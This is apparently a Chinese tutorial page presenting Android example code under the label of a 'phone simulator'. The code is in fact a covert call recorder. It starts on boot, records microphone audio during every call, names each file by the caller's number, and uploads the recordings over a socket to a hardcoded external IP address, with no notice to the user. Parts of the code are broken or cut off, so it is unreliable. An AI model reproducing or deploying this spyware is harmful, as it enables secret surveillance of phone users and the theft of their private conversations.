本篇文章我將為大家介紹一下android電話模擬器(示例代碼),需要的朋友可以過(guò)來(lái)參考下,希望對(duì)大家有所幫助

在本實(shí)例中，將使用新的技術(shù)“服務(wù)”來(lái)解決這些缺陷。

package cn.itcast.phone;

import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;

import cn.itcast.utils.StreamTool;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.telephony.gsm.SmsManager;
import android.util.Log;

public class PhoneListenService extends Service {
private static final String TAG = "PhoneListenService";

@Override
public void onCreate() {
  TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
  telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
  Log.i(TAG, "service created");

  super.onCreate();
}

@Override
public void onDestroy() {//清空緩存目錄下的所有文件
  File[] files = getCacheDir().listFiles();
  if(files!=null){
   for(File f: files){
    f.delete();
   }
  }
  Log.i(TAG, "service destroy");
  super.onDestroy();
}

private class TelListener extends PhoneStateListener{
  private MediaRecorder recorder;
  private String mobile;
  private File audioFile;
  private boolean record;
  @Override
  public void onCallStateChanged(int state, String incomingNumber) {
   try {
    switch (state){
    case TelephonyManager.CALL_STATE_IDLE: /* 無(wú)任何狀態(tài)時(shí) */
     if(record){
      recorder.stop();//停止刻錄
      recorder.release();
      record = false;
      new Thread(new UploadTask()).start();
      Log.i(TAG, "start upload file");
     }
     break;

    case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起電話時(shí) */
      Log.i(TAG, "OFFHOOK:"+ mobile);
      recorder = new MediaRecorder();
      recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風(fēng)采集聲音（暫時(shí)只能到麥克風(fēng)的聲音信號(hào)，不到聽(tīng)筒的信號(hào)--只能到此人的說(shuō)話，聽(tīng)不到對(duì)方說(shuō)啥）
      recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內(nèi)容輸出格式
      recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式

      audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");
      recorder.setOutputFile(audioFile.getAbsolutePath());
      recorder.prepare();//預(yù)期準(zhǔn)備
      recorder.start();   //開(kāi)始刻錄
      record = true;
      break;

    case TelephonyManager.CALL_STATE_RINGING: /* 電話進(jìn)來(lái)時(shí) */
     Log.i(TAG, "incomingNumber:"+ incomingNumber);
     mobile = incomingNumber;
     break;

    default:
     break;
    }
   } catch (Exception e) {
    Log.e(TAG, e.toString());
   }
   super.onCallStateChanged(state, incomingNumber);
  }

  private final class UploadTask implements Runnable{
   @Override
   public void run() {
    try {
     Socket socket = new Socket("220.113.15.71", 7878);
              OutputStream outStream = socket.getOutputStream();
              String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";
              outStream.write(head.getBytes());

              PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
     String response = StreamTool.readLine(inStream);
              String[] items = response.split(";");
     String position = items[1].substring(items[1].indexOf("=")+1);

     RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
     fileOutStream.seek(Integer.valueOf(position));
     byte[] buffer = new byte[1024];
     int len = -1;
   }
  }
}

@Override
public IBinder onBind(Intent intent) {
  // TODO Auto-generated method stub
  return null;
}

}

復(fù)制代碼代碼如下:

package cn.itcast.phone;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
   //android開(kāi)機(jī)廣播，開(kāi)機(jī)后啟動(dòng)電話服務(wù)
  Intent service = new Intent(context, PhoneListenService.class);
  context.startService(service);
}

}

復(fù)制代碼代碼如下:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="cn.itcast.phone"
      android:versionCode="1"

    <application android:icon="@drawable/icon" android:label="@string/app_name">
  <service android:name=".PhoneListenService" />
  <receiver android:name=".BootBroadcastReceiver">
   <intent-filter>
          <action android:name="android.intent.action.BOOT_COMPLETED"/>
        </intent-filter>
  </receiver>
    </application>
    <uses-sdk android:minSdkVersion="7" />

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

</manifest>

復(fù)制代碼代碼如下:

package cn.itcast.utils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PushbackInputStream;

public class StreamTool {

public static void save(File file, byte[] data) throws Exception {
   FileOutputStream outStream = new FileOutputStream(file);
   outStream.write(data);
   outStream.close();
}

public static String readLine(PushbackInputStream in) throws IOException {
   char buf[] = new char[128];
   int room = buf.length;
   int offset = 0;
   int c;
loop:  while (true) {
    switch (c = in.read()) {
     case -1:
     case '\n':
      break loop;
     case '\r':
      int c2 = in.read();
      if ((c2 != '\n') && (c2 != -1)) in.unread(c2);
      break loop;
     default:
      if (--room < 0) {
       char[] lineBuffer = buf;
       buf = new char[offset + 128];
          room = buf.length - offset - 1;
          System.arraycopy(lineBuffer, 0, buf, 0, offset);

      }
      buf[offset++] = (char) c;
      break;
    }
   }
   if ((c == -1) && (offset == 0)) return null;
   return String.copyValueOf(buf, 0, offset);
}
